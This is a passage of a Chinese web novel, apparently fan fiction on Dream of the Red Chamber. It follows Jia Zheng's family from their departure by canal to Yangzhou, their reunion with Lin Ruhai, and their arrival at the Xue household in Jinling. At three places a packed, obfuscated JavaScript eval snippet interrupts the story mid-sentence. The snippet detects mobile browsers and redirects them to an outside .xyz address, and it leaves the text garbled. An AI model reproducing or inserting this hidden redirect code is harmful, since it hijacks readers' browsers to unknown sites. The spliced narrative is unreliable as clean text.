“你只给我三千两银票,剩下一万两留在你那里。”贾政吩咐道。 潘武将银票给了贾政。 “按照老爷吩咐,春夏两个季节不需要烧炭,那些工匠们近日正忙着补种树苗。”马双虎又说。 这才是可持续发展的道理。 “种完树苗,你去药铺打听打听有什么药材适合在林间大规模种植的,打听好了就办这件事。”贾政吩咐道,炭窑的工人都是现成的,与其打发了不如再开发一些产业,这对工匠们也是好事。 二人恭敬答应了。 顿了顿,贾政又说“我去扬州,可能要两三年,府上的事情你们替我盯着点。” “主要是大老爷房里的事情,包括大老爷,琏二爷,二奶奶。他们在外面与什么人接触,若是有什么违法的勾当,第一时间送信给我。”贾政不太放心贾赦房里的事情,怕他们惹祸。 二人应下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947722|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “潘武,马双虎,你们两个这些日子着力培养一些办事机灵,又可靠的人。我去了扬州会需要人来办事。最好先给马双虎培养几个副手,我想等你们稳定下来,让潘武去扬州帮我。”贾政很是喜欢潘武牢靠又稳妥的做事风格,而且他为人忠厚,是个很好的帮手。 潘武与马双虎都很高兴,恭敬答应了。临走前还拿出了一些土产给贾政。 “老爷,这是那边的工匠们托我送给老爷的。大多是他们家乡河北的土产,也不值钱,只是情意深重,我不好拒绝,就冒昧带来了。”潘武有些担心贾政看不上。 贾政笑笑,先打开包裹自己看了看,吩咐书文收下了。 “礼轻情意重,你替我谢谢他们。” “希望我此番去扬州任职,也能得到百姓的爱戴。”贾政叹道。 启程前一晚,王夫人又细细查过一遍单子,眉头仍是紧锁着。 “夫人带这么多棉衣袍子,怕用不上。”贾政看了一眼单子,轻笑了一笑。 “万一那边的裁缝做的不合心意,到时候又要忧心,还是带着吧。”王夫人说道。 贾政见王夫人眉宇间仍有愁意,就轻轻揽着她肩膀,紧挨着她坐下,又劝道“薛家妹妹的事你也不要太担心了,我已经给如海去了信,让他先帮衬着。等咱们到了扬州,安顿下来,我就与你去金陵看看妹妹。” “若是薛家人欺负她们孤儿寡母,那我做主,带妹妹与两个外甥同到扬州,先与咱们住到一起。你们姐妹两个多年不见,彼此也有个陪伴。”贾政柔声宽慰着王夫人。 王夫人近日总是忍不住担忧妹妹,却不好表现得太过,此时又被贾政引出了愁绪。 “也许是因为一母同胞,我与她总是有些感应的。妹夫去世前后几日,我心里总是慌乱,没过多久,报丧的人就来了。”王夫人留了几滴泪,又叹口气。 “既如此,你更不要难过。妹妹肯定也能感受到你在伤心,岂不是两个人都要受苦呢?” 王夫人在贾政的柔声安慰中渐渐平复了心情。 探春悄声推开门,走了进来。 “探春是睡不着吗?明日要早起,快去睡吧。”贾政见探春神色忧愁,还以为她是舍不得离开。 探春摇摇头,犹豫一会儿才说“我有事想问老爷。”说罢,有些忐忑。 贾政看一眼王夫人,见她不再忧伤,就放心点了头,去了探春的屋子。 进了屋子,贾政坐在炕桌前,看探春神色紧张,只站在那里,却不说话。 “探春别担心,无论什么事情父亲都不会生气的,你说吧。”贾政柔声安慰女儿。 探春咬咬牙,终于说了“姨娘说,老爷能不能把她也带去扬州。”说罢,探春不太敢看贾政。按道理,她一个小孩子,怎么能管老爷院里的事情呢? 贾政听罢,很快想明白了前因后果。他笑着将探春安置到炕桌前坐下,然后坐在探春旁边,轻声问她“姨娘让你来找我的吗?” 探春轻轻点了头。 原来因为这些日子贾政从来都没有进过她房间,赵姨娘很是着急。每次见了面,她行过礼,贾政只是笑笑也不说什么。有两次她说得很直接了,想请老爷去她屋里坐坐,都被贾政好脾气地拒绝了。 赵姨娘一时没了办法,又害怕失去了贾政的宠爱,自己在贾府更没了立足之地。如今贾政与王夫人还有孩子们都要去扬州了,这一去好几年,贾政连孩子们都带着了,却不带她,下人们更要看不起她,这才私下里与探春说了几次。 探春本来觉得自己身为女儿,不应该管这些事。却又因为赵姨娘的声声恳求软了心肠,只好勉强答应了。却是犹豫了好几日,才拖到了最后一天。 贾政听罢,摸摸探春的头,轻声说“是父亲考虑不周了。” “她毕竟是你的亲生母亲,母女之间天生的血缘关系是无法改变的。你是个好孩子,总还是对她有亲近之意。” 贾政顿了顿,又继续说“带她去扬州是不可以的,但是父亲可以叮嘱你凤姐姐,在咱们走了之后,好好待她,不让她受欺负。尽量让她在府里过自在安宁,衣食无忧的生活。这样可以吗?”贾政低头看探春神情。 探春点点头,有些不好意思“今日是我的错,我本来不应该对老爷说这些事情的···” 贾政打断了探春,安慰道“你不用自责,说到底还是我的错,是我忽视了她。在深宅大院里,说到底她也是个可怜人。” 贾政说罢叹了口气,“日后你与她相处,也不需要顾虑我和太太,只凭你自己的心意。” 探春点点头,轻声笑了“谢谢老爷。” 24. 烟花三月下扬州 离别苦,情意重。孩子们临走前,强忍着眼泪,没有在祖母面前哭得不成样子。 迎春和惜春送了宝玉黛玉探春三姐妹每人一枝杨柳,笑着与姐妹兄弟告别。 即便如此,其中凄苦,更是难说。 大房的贾赦与邢夫人也有一番叮咛,贾政与王夫人都笑着应了。东府那边贾珍与尤氏也亲来相送。 王夫人又看了一眼王熙凤,轻声说“凤丫头,你···” “太太不用担心,你那日说的我都记住了。”王熙凤打断了她的话,笑着说。 王夫人点点头,再多的话也没说。 贾琏亲自将贾政一行人送到了渡口,又是一番叮咛后,送他们上了船。贾琏也就回府了。 一整个冬天贾琏没做什么公事,只顾着玩乐,银钱就不太趁手。 他回了院子,见王熙凤与平儿正坐在炕桌前算账,王熙凤说着些什么,平儿打着算盘。 贾琏一进屋,王熙凤就没说话了。贾琏却有了谋划。 贾琏声音粘腻地叫王熙凤“凤儿,近日辛苦你了,家里家外,桩桩件件,可少不了你。” 边说话边半靠在王熙凤身上,一只手挑起了王熙凤耳边的一缕头发,把玩着。 王熙凤感到很不舒服,她稍微偏了一下身子。 “不高兴了吗?是不是嫌我冷落了你?”贾琏笑着说,又贴着王熙凤,离她更近了。 “无事献殷勤,二爷找我有什么事情吩咐直说就是了。”王熙凤神色淡淡,说道。 “老太太本来想让你去金陵薛家吊丧,只是二老爷正巧去扬州,他便去了。你后悔不能去扬州找你心仪的江南女子,现在不高兴又来我这里找不痛快?”王熙凤讥讽之意更浓。 贾琏听了,更觉得王熙凤是在闹小性子,因为受了冷落心里不高兴。 想到这里,贾琏觉得这几日要好好在王熙凤身边献献殷勤,才能笼络王熙凤的心。 贾琏坐了起来,一只手揽过王熙凤肩膀,右手捏起王熙凤一只手,揉捏了一下,柔声说“什么女子在我眼里都比不得你。瞧瞧,春日里风大,你也不记得多擦擦手脂。”贾琏边说边从袖袋中掏出一小罐手脂,抠了一块儿,要为王熙凤抹。 王熙凤猛地抽开手,仍是说“二爷有什么事情直说吧,不要这样,我消受不了。” 贾琏平常与女人相处时,总是厚脸皮,他认为王熙凤方才的言行都是在对他撒娇。因此贾琏毫无恼意,男女之间,偶尔舍弃身段,也不碍事。 他见平儿不识眼色地仍坐在炕桌前,挥挥手,让平儿退下 。可王熙凤却不许“平儿,账还没算完,你去哪里?” 平儿夹在两人中间,听了王熙凤的吩咐。 虽然贾琏并不介意平儿在场,只是看王熙凤仍然神色冷硬,他认为自己不能操之过急。 “二奶奶和平儿姑娘安心坐着,我给你们倒茶。”贾琏说罢,亲自倒了两杯茶端到王熙凤与平儿面前,又笑道,“我就在外边伺候着,有什么吩咐就叫我。” 平儿没什么反应,王熙凤也是爱答不理。 贾琏也没有挫败,就笑盈盈出去了。他打算今日在外面吃吃酒听听曲就可以了,晚上早早回家,再做谋划。 “他刚才靠近我的时候,我感觉浑身不舒服。”贾琏一走,王熙凤就对平儿抱怨。 “奶奶和二爷每次吵架,过几天他服个软,你也就好了。”平儿说道。 王熙凤摇摇头“不知道从什么时候起,我一看到他,就能想起许多他与别的女人调笑的画面,我虽然没有亲眼见过,但可以想象到。” “奶奶又给自己找不痛快了。”平儿安抚王熙凤“平日里家事就够忙的了,现在又白白消耗心力,这怎么行呢?” “你看他刚才那样,不就是没了钱想找我要吗?以为我看不出来吗?”王熙凤又说。 平儿毕竟是王熙凤的丫鬟,对主子之间的矛盾只能尽量劝解“二爷不管有没有什么别的想法,总是先服软了,奶奶也别再计较,不然你自己心里也难受。” 王熙凤又是轻轻摇摇头“不说这个,方才说到哪里了,继续吧。” 平儿点点头,“大爷那边已经拿回上次一放出去的款子了,本息合计五百五十两···” 贾政一行人雇了两条船,大人孩子一起在一条船上起居,下人们就随行在另一条船上。王夫人起初并不习惯坐船,几个孩子倒是适应得很快。 此时王夫人坐在贾政身旁,船有些颠簸,王夫人脸色发白,眉头紧皱,一手撑着桌沿,力气太大,手指都泛白。喝了一些汤药反而更难受了,怕吐出来,又用帕子掩住嘴巴。锦屏在一旁小心服侍着。 贾政见她难受,自己心里也难过。叹口气,不顾王夫人的阻拦,扶着她半躺在自己怀里。 王夫人神色不太自在,双手紧紧捏着帕子。贾政笑了笑,松开夫人紧攥的手。 贾政低头轻轻哼唱了一首江南小调,边哼唱边一下下轻拍着夫人的脊背。 “秦淮缓缓流呀,盘古到如今,江南锦绣金陵风雅情···” 伴着悠悠流水,王夫人在歌声中渐渐平静了下来。 船行八日,快到济宁府了。正是风平浪静,春风醉人的时候。 王夫人习惯了坐船,每日也不再脸色发白,贾政放了心。 “京杭大运河始建于春秋时期吴国所建的邗沟,后来经由历代不断扩建,联通了京城与杭州,成为南北之间重要的水上运输线路···”贾政站在船头,正与孩子们讲解着京杭大运河的历史由来。 每到一处地方,贾政都要与他们细细说一说当地的风物历史,若是孩子们有人感兴趣,就停了船,上岸逛一逛。索性也不着急赶路。 今日天气晴好,风和日丽,孩子们自觉齐齐在甲板上看风景。 因为水面平静无风,黛玉也就在甲板上多待了一会儿。越向南走,目之所及越接近黛玉熟悉的故乡。此时的心情与当时孤身一人来京时完全不同了。 黛玉看了看坐在她旁边的宝玉和探春,轻声笑了一笑。这次回去不仅有舅舅舅母带着她,还有两个至亲玩伴。 “林妹妹快到家了,脸上的笑容也越来越多了。”宝玉说道。 探春手指了指河岸边正围在一起洗衣服的妇女,问黛玉“林姐姐,她们都是这样洗衣服的吗?” 黛玉顺着探春手指的方向也看了过去,点了点头,回道“南方河流广布,平民百姓之家都是在河边洗衣服的。” “确实是一番闲适的田园图画。只是这河这么宽,想必水也很深,离得近了也不太安全。”探春说道。 “这是没办法的事情。”黛玉也同意探春的说法。 “不要说这些了好不好,咱们不如吟诗来玩?”宝玉笑道,自己先摇头晃脑吟了两句“竹喧归浣女,莲动下渔舟。” 黛玉和探春最是乐得看宝玉装模作样的滑稽样子,都觉得好笑。 “京口瓜洲一水间,钟山只隔万重山。”黛玉柔声念了一句。 “这是王安石的诗,妹妹读这两句定是归心似箭了。”宝玉笑道。 黛玉调皮地眨眨眼。 “尽道隋亡为此河,至今千里赖通波。”探春看着河岸边放牛的牧童,吟了这句诗。 黛玉点点头“三妹妹的一双眼睛,总是能看到比表面的风景更多的东西。” “也许她是故作深沉也说不定呢?”宝玉故意说道。 探春也没理他,叹了口气说“虽然才出来了这几日,每日也都在船上。但我这几天的所见所感,好像比以前所有都要多。” 黛玉走到探春身边,搂住探春肩膀柔声道“平日里总是你们安慰我,今日你自己怎么也开始哀叹了呢?” 探春虽然只是简单说了几句话,但是黛玉却敏锐地捕捉到了更多,这才来安慰探春,让她不要多想。 “三妹妹要有什么难解的问题,不如咱们一起去问老爷。总之老爷也无聊,又总爱与我们说这些事情。”宝玉说道。 黛玉轻笑着说“小心我把你刚才说的话告诉舅舅,就说你取笑他,看他怎么打你。” “林妹妹总是欺负我!”宝玉装模作样地皱了皱鼻子。 “我不理你们两个,我要去找老爷。”探春食指分别指了一下宝玉和黛玉,又玩味笑笑,离开了甲板。 此时贾政正在船舱里,手里拿着一本志怪故事,绘声绘色地读着。王夫人坐在贾政旁边,神色柔和,认真听着。 探春悄悄走了进来,贾政读得正投入,探春就坐在了王夫人旁边,也一起听,王夫人顺势搂紧了探春。 “那个书生正在破庙躲雨,忽然身后传来一个娇媚女声,说‘公子一个人太孤单,不如小女子与你做个伴’。那书生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947723|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一回头,只见···” 听到这里,王夫人抱紧了探春,母女俩都很紧张。 贾政挑了一下眉毛,继续说“哪有什么美貌女子,竟是一只面露凶光的灰色狐狸,正凶狠地盯着书生···” 王夫人与探春都神色紧张地看着贾政。 “欲知后事如何,且听下回分解。”贾政右手在桌上轻轻拍了一下,不再说话了。 王夫人很是意犹未尽,以前在贾府的时候,谁敢读这些故事来听呢。贾政这几日给她读的几篇故事,都很有趣。 王夫人起身倒了杯茶给贾政。 贾政笑着接过了,一口气喝罢,又说“我知道夫人还想听,只是这么惊险刺激的故事还是晚上听着比较有趣。” 王夫人自觉心事被看穿,轻笑着坐到了贾政对面。 “老爷总是爱吊我们胃口”探春说罢,还轻哼了一声,耍赖般在王夫人怀里蹭了蹭。 贾政仍是微笑,不再提这件事。 “怎么不在外面多坐一会儿,宝玉黛玉还在外面吗?是不是风太大了?”王夫人柔声问探春。 探春摇摇头“二哥哥说我有心事,让我来问老爷。” 正说话间,宝玉黛玉笑着进来了,黛玉坐在了王夫人身侧,另一边是探春。宝玉只能叹口气坐了椅子。 王夫人搂紧了黛玉探春,又问黛玉“外面风大吗,可有头疼?” 黛玉摇摇头,亲昵地抱紧王夫人右臂,回道“外面待久了腻歪,想与舅舅舅母一起待着。” 说罢又看向贾政“舅舅的故事读到哪一个了呢?” 黛玉并不是真的对贾政讲的故事感兴趣,她只是喜欢这种氛围。 太阳晒得暖融融的,船儿晃悠悠,她与探春都窝在舅母怀里,听舅舅绘声绘色地讲故事。 舅母怀里有母亲的味道。 “宝玉,你去为母亲,两个姐妹准备好茶水点心。”贾政笑着吩咐宝玉。 宝玉听罢,嘻嘻笑着,动起手来。 袭人本来想自己来做,贾政笑着对她摇摇头,袭人就没插手。 “锦屏与袭人也要。”贾政又对宝玉说。 “知道了,老爷。”宝玉将茶端到贾政面前,调皮道。 一会儿功夫,宝玉将茶水点心都准备好了,贾政又示意锦屏与袭人也坐下。继续讲了起来。 船到济州府,这里是大运河的一处重要驿站,号称“运河之都”。 在济州他们停船休整了几日,贾政亲去拜见了今河道总督,陈光和。 此人与贾政年岁相近,为人很是谦和,对贾政毫无拉拢或是不屑的神色。 出身寒门却四十出头就能身居高位,此人绝不只是表面上这么简单。贾政暗暗想到,表现更是滴水不漏。 陈光和对贾政多有勉励,也很是好心肠地讲了一些水务上的关键。贾政诚恳谢过了。 又在陈府用了饭,陈光和要留贾政在他府上歇息几日,被贾政以妻女还在驿馆的理由婉拒了。 接下来又在济州府待了三日,贾政除了带夫人孩子游玩赏景,自己也私下里认真考察过了这里的水利工程与几日来的漕运情况,心里有了一些盘算。 离开济州府两日,就到了江苏境内,两岸的风物也与京城大不相同,一派江南风光。 他们在济宁府见到了林如海派来的人,并一封信件。 信上说他一收到贾政的信,就亲自去了金陵。那时丧事已经结束,林如海以亲戚的身份,给薛姨妈撑腰。 那薛家几个旁支本来只等着丧事结束,就要向薛姨妈孤儿寡母发难,联合族内长老,将家财独占。只是突然来了个官职奇高的林如海,要为薛姨妈母女做主,让他们的美梦落了空,只能之后再做图谋。 除了薛家的事,林如海还说已经在林府旁边找好一处府邸,供贾政一家下榻。 贾政为王夫人细细读了信,见王夫人长舒了一口气,贾政笑着说“现在不担心了吧?” 王夫人点点头。 “虽然如此,我还是想到扬州后安顿下来就去一趟金陵。”贾政又说“还是将妹妹母子都接到身边,你才能放下心。” 王夫人神情有些不好意思。连日来,贾政言语行动中总是与她很亲近,倒像是年轻时候的相处了。 人生苦短,也不知道时候就被岁月磋磨,失去了曾经的模样。 25. 父女重逢半喜忧 船行了二十五日,贾政一行人终于到了扬州。 几日前,林如海就派林家的管家与下人们在渡口日夜等待,今天终于等到了。 黛玉刚一下船,就看到了管家林忠,甜甜叫了一声“林叔”,随后就向贾政与王夫人介绍了一下。林忠带着下人们也行过礼。 “老爷吩咐我多带些人来,搬运行李。贾老爷的宅子,我家老爷前几日已经吩咐人打扫出来了,就等着老爷太太呢!”林忠笑着对贾政说。 贾政笑笑,简单吩咐了几句。不一会儿,林忠带来的下人已经开始有序忙碌了。 又安排了三顶轿子送贾政他们去林府。只是三个孩子成日里习惯一处待着,他们三个就坐了一顶轿子。 路上,宝玉和探春忍不住掀起帘子细细观察街巷行人,眼中有一些惊奇与欢喜。 黛玉笑笑,想到了自己初到京城时也是好奇地打量外面,与他们两个此时一样。 “林姐姐,我觉得扬州的繁盛与京城相比也是不相上下的。”探春笑着说“真是好一派欣欣向荣的市民生活图景。” “我看到许多小摊子,比京城里摆摊的更多呢!”宝玉笑道。 黛玉虽然自幼生活在扬州,但因为体弱多病,也很少出门。今日听宝玉和探春说了许多看到的景象,黛玉心里也觉得有趣好玩。如今身体也好些了,又有他们俩做伴,日后自然有时间出来游玩。 林府闹中取静,远处是扬州城外的群山,附近是一片热闹的街市。然而在白墙灰瓦的小巷里穿行片刻,就到了林府,幽静又很便利。 紧挨着林府的一处三进宅院,已经挂上了贾府的匾额。这处宅院本来是林如海一位同僚的,去年他告老还乡之后,这处宅院便空置了,正好租给贾政。 林如海又受贾政嘱托,将这个宅子后面的一处三进宅子也租了下来,前后两处宅子相隔三尺余,正正好是贾政打算让薛家母女居住的宅院。 贾政没想直接买下来,不是因为银钱不够。公务大约只有两三年,并不值得购买宅院。 林如海比贾政略小几岁,只是看着清瘦些,很有一种如松如柏的文人风骨。 父女再次相见,黛玉先红了眼眶。只是看着父亲虽然清瘦却并不虚弱的模样,黛玉放了心。林如海见到女儿比赴京时更显红润的面色,也是同样的想法。 林如海与贾政却是多年不见了,自从他与贾敏成婚后,就再也没有见过贾政。此时二人相逢,自有一番深情厚谊。 “内兄与嫂夫人此番远行着实辛苦了。”林如海笑着摆摆手,将贾政与王夫人让到上座。 “隔壁宅院就是愚弟为兄长选好的府邸,只是粗陋收拾了一下,等兄长与嫂夫人凭喜好再做陈设吧。”林如海又道“我已经吩咐下人先将行李运到这里,待兄嫂歇息几日,再慢慢安置宅院。” 贾政感谢林如海的妥当安排,王夫人也微笑点点头。 宝玉探春向林如海行过礼,就撺掇着黛玉带着他们去林府花园玩了。 亲眼看着孩子们笑闹着离开,三个大人都是慈祥笑着。 林如海向贾政拱手谢道“玉儿在书信中总是说舅舅舅母待她皆如亲女,外祖母更是宠爱非常。几个兄弟姐妹也都时刻陪伴着她,她在京城很是舒心。”说罢捧起茶,向贾政示意了一下。 贾政笑着饮了茶,又道“如海不用拘礼,咱们至亲之间,合该这样做的。就像你如此为我尽心帮忙,我也没有一直谢你,不然就太生分了,咱们互相称呼表字更亲近。”贾政笑笑,林如海也是抚须一笑。 谈笑间,因为多年不见而产生的生疏也就很快消散了。 “存周之前让我办的事情,我也办妥当了。”林如海说到这里,看了王夫人一眼,点头示意了一下,神情严肃道“只是我看薛家那几宗旁支人家,的确不太好相与。” 贾政闻言也正色说道“如海直言便是。” “我那几日正好没有什么公事,得到你的嘱托就亲自去了金陵薛家。当时丧事大体已经结束了,但我看薛夫人的神情却是悲中带忧,我说明来意,她便详细告诉了我。” 林如海顿顿,又继续说“原来薛夫人这一辈中,已没有血亲兄弟姐妹,只有叔伯家有一个堂兄,一个堂弟,都是不成事的。虽然薛夫人还有一子,也已十多岁了,按道理所有家产应该是这孩子的,可是···” 林如海叹了口气,忧愁道“这个薛蟠孩儿却也顽劣,竟然因为一个孤女将一青年打了个半死。薛夫人的堂兄堂弟就以薛蟠顽劣,不足以担任家主之由,想插手薛家的大宗生意,所有生意都要占去一半的干股。你也知道,若是这次答应了,那所有生意家产日后都要被他们蚕食了。所以我知道如此情况,当即就为薛夫人做了主,用官职压了他们一头。” 贾政点点头,郑重谢道“让你做到这样地步,却是为难你了。” 林如海轻轻摇摇头“这倒不妨事,我却也担心薛夫人母女的处境。儿子顽劣撑不起大事,女儿却沉稳聪慧,很有几分管事的样子,只可惜···” “我原本的打算就是到了扬州安顿下来就立刻去金陵一趟,将妹妹母子接到扬州生活。正好与夫人做伴,缓解一些忧虑。妹妹两个孩子与咱们家的孩子一处待着,希望那蟠儿也能学好。”贾政说道,又悄悄看看王夫人神色,果见她面露悲戚,贾政轻轻拍拍王夫人脊背,以作安慰。 “存周既然已经有了主意,那就好了。日后咱们几家五个孩子,可是更热闹了。”林如海笑道。 “本来我应当安排洗尘宴,只是考虑到薛家的事情,大约嫂夫人也···”林如海顿了顿。 贾政连忙说道“咱们住的这么近,日后少不了欢聚的时候,多谢你的一番心意了。” 晚饭过后,贾政与王夫人因为连日里坐船疲惫,直接去休息了。 黛玉屋里,黛玉仍细细向父亲说着京城发生的事情。林如海认真听着,不时还要问上几句。林如海看着女儿聪慧懂事的可爱模样,他脸上也一直带着笑容。这样父女和乐的时光,可真是让人眷恋。 “夫人,我明日就去衙门一趟,预计两日就安排好到任的事情。这两日辛苦你先带着人简单收拾咱们的宅院。等我安排好后,咱们就启程去金陵。”贾政细细对王夫人说道。 “刚到扬州,老爷不再休息几日?”王夫人关心问道。 贾政笑了笑“不妨事的,早日将妹妹一家人安排妥当,咱们都放心些。” “如此就多谢老爷了。”王夫人很是感谢贾政对薛家人的细心考虑。 “倒是夫人这几日辛苦些。”贾政轻轻拍了拍王夫人的手背。 “我只是指点他们来做,又不用自己动手。”王夫人道。 “动脑子也很累的。”贾政说到这里又笑了。 次日一早,贾政向林如海说明了自己的安排,就带着小厮书文与几个下人,坐轿子去了水务衙门。 水务与盐政类似,都是独立于当地州府的机构。扬州本地的官场环境,林如海昨日已经对贾政清楚讲过了。官员之间的关系大体上还算和睦,对治下的管理也很清明。 只是盐政与水务都是肥缺职位,有时难免引得当地州府官员的些微嫉妒。 驻扎在扬州的水务衙门早就收到了邸报,各官员都等着贾政这位副总河的到来。 贾政到了衙门口,自下了轿子。他吩咐书文通报了门子。 那门子进去了没一会儿,几个身着官服的人就出来了。 “贾大人恭候多时!本来要派人去渡口迎接的,没想到大人这么早就到了。”扬州水务衙门的总管齐鸣笑道。 贾政摆摆手,扶起行过礼的齐鸣,笑道“兵贵神速啊!” 齐鸣笑笑,向贾政一一介绍了他旁边的几位官员,众人都行过礼。 齐鸣引贾政进了衙门,与工部办公衙门类似。此处衙门也是被分成一个个小院子。 他们先走到一处议事大厅,旁边是几间书房与值班人员住的地方。 院子连接处也有许多江南园林的特色,假山石桥亭台楼阁,倒更像是供人游玩的园林。 又带到贾政的办公处,一应设施齐全,雅致又整洁。 贾政满意地点点头,众人走了一圈,又回到了议事大厅。 贾政吩咐手下的一位主文相公去办交接事宜,自己又与众官员聊了几句。 “近日衙门可有要事?”贾政抿了一口茶,问齐鸣。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947724|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 齐鸣起身,恭敬答道“近日一切事务都很顺利,没有什么棘手的。” 贾政点点头,又道“我今日来衙门只是先安顿下来,认识一下诸位。日后大家一起办公,慢慢也就熟悉了。” 众人笑着点头。 “过两日我要去一趟金陵,大约五六日。待我事情办妥回到扬州,再正式来衙门办公。”贾政又说。 “这几日诸位就仍像先前那样,秉公办事。”贾政说罢,看了一圈对面的官员,见他们都神色如常,也就暂时放了心。这些人中的地头蛇今日还算乖巧。 贾政早早离开衙门,又去转了转这边的街市,买了一些孩子们可能喜欢的玩意儿。 又走到一家顾客盈门,很是热闹的布庄前,想了想,走了进去。 因为气候的不同,扬州时兴的布匹与京城差异不小。江南地区一直都有养蚕缫丝的习俗,这里的纺织业也是全国最为繁荣的。 贾政买起东西来很是高效,一会儿就选了许多。 浮光锦,烟霞锦这些名贵的布匹他买了不少,现在正是阳春三月,夫人与姑娘们正好多做一些衣服。又买了一些颜色较为素雅的锦缎,预备着给薛家母女裁衣服的。 买完这些,贾政就回了林府。 贾政让书文将买来的玩意给了几个孩子,全凭他们挑选。自己又去了隔壁的贾府,王夫人正带着周瑞媳妇,指挥着丫鬟小厮们布置屋子。 王夫人远远看到贾政走了过来,她也笑着朝他走去,“老爷这么快就回来了?”说罢拿了帕子为贾政擦了擦汗。 “衙门没什么事,我记挂着家里,就早早回来了。”贾政笑着拿过王夫人手里的帕子,又擦了擦脸。 “扬州确实比京城暖和得早。”王夫人边说话边拈起了贾政肩上的一丝柳絮,贾政看到后调皮地吹了口气,柳絮就随风飘走了。 “我买了许多布匹,有各色样式的,等忙完了给姑娘们裁衣裳,还有妹妹与外甥女的,我也准备了。”贾政又道“我让布庄直接送到咱们这里,你与周瑞媳妇说一下。” 王夫人点点头“难为老爷想得周到。” 第二日,贾政没去衙门,与夫人一同收拾院子。因为院子之前一直保存的很好,他们只需要将带来的东西安置好,再添置一些用品就可以了。 因此两天下来,前后两处院子便可以住人了。 因为贾政与王夫人要去金陵,宝玉探春就仍住在林家,与黛玉一起。 本来三个孩子也都想去金陵,只是贾政考虑到金陵薛家的事情还没有彻底解决,怕横生枝节,就没有带孩子们同去。 去金陵仍是坐船,却和前些日子从京城来时全然不同。两地相距仅有三百余里,只需两日就到了。 船行在长江上,放眼望去,浩浩汤汤,横无际涯。来往船只繁多,货船和客船不分上下。 没有带孩子的好处就是不需要时刻担心他们,贾政难得有清净独处的时候。 天色已晚,船上陆续亮起了灯,江畔人家的屋舍上空飘来了炊烟,朦胧又清淡。 前面的客船上传来了歌声曲声,飘散在浩渺江色中。 贾政拉着夫人坐在了船边。两人都没说话,看着风景,听着歌声。 “我感觉江南与京城的确是不同的···”贾政开口道,望着熟悉的风景,他突然生出了一些遥远的回忆。 王夫人静静看着他,一双眼睛含着笑,等他接下来的话。 “这种不同不是因为具体的位置,城池的大小或者一些可实际触碰的东西···” “而在于一种模糊的东西,就像是百姓们的日常与个性···”贾政说了两句似是而非的话,自己也觉得不太通,先笑了。 王夫人静静听罢,右手拢起了被江风吹乱的头发,轻轻笑了笑,一种有些顽皮与轻松的笑容。 “我知道他们在唱什么。”王夫人突然对贾政说。 贾政笑着看她,是一首流传很广的江南小调,他也听出来了。 “我也知道”贾政笑笑,说罢自己先哼了起来。 到第二句,王夫人也跟着哼唱起来。 二人的声音也与前面那客船上的歌声一起,随风远去了。 26. 丧亲父宝钗忧家业 船行两日,贾政与王夫人到了金陵。他们没有提前告诉薛家人,下了船后,就在渡口雇了车马。贾政他们十来个人,行李也少,两顶轿子就够。 那抬轿子的一听是去薛府,便很高兴自己今日拉到了贵客。 “大人想必是薛家的亲友,来吊丧的吧?”轿夫问道。 贾政点点头。 “这些日子,我光在这里就见到许多薛家往来的亲友。只是这几日丧事办完了,来的人也就不多了。大人也许是离得远,这才来得晚。”轿夫神情中带了一点讨好,说的话却很实在。 “你全都说对了,既然如此,我就放心让你带着我们去了。”贾政吩咐书文将车钱付了。 “您可走得稳当些。”书文笑着给了钱,又叮嘱道。 轿子确实稳当,王夫人一直看着窗外。 王家在王夫人未出嫁前是住在金陵的,因此王夫人时隔多年重回故土,也很是欢喜。 贾政不时问王夫人些金陵的事情,她都笑着回答了。 待车马行至薛府门口,看着门口几个小厮胡闹着,贾政与王夫人都敛了神色。 贾政示意书文向门口的小厮通报。 “请通知贵府主事的,说京城贾府二老爷与二太太来了。”书文向薛府小厮说道。 那几个小厮听见是京城贾府,神色都恭敬了些,也不再玩闹,立刻进去通报了。 不一会儿,薛家的管家出来迎客了。 “贾老爷,可把你们盼来了!”此人是薛家的管家,叫做薛胜。 薛管家恭敬行过礼,又对王夫人说“太太已经在里面等着了!”王夫人听了,点了点头。 “我们就进去吧。”贾政对薛管家说。 薛管家忙在前面带路。 考虑到王夫人与薛姨妈姐妹相见,定有许多贴心话要说,贾政就先与管家待在外面的正厅,待王夫人姐妹两个相聚一会儿他再进去,也不算打扰。 薛姨妈与女儿听到下人通报京城贾府来人,只是不好直接出去迎接。薛姨妈在屋子里来回踱步,宝钗扶着母亲,劝她坐下“妈妈着什么急呢?姨妈姨夫既然来了,咱们静静等着就好。” 薛姨妈笑了一下“前些日子你林姑父来了一趟,给咱们撑腰,他说是受了你姨夫的嘱托。我想今日你姨夫姨妈亲自来了,也许另有别的规划也不好说···” 母女说话间,下人通报,贾府二太太来了。 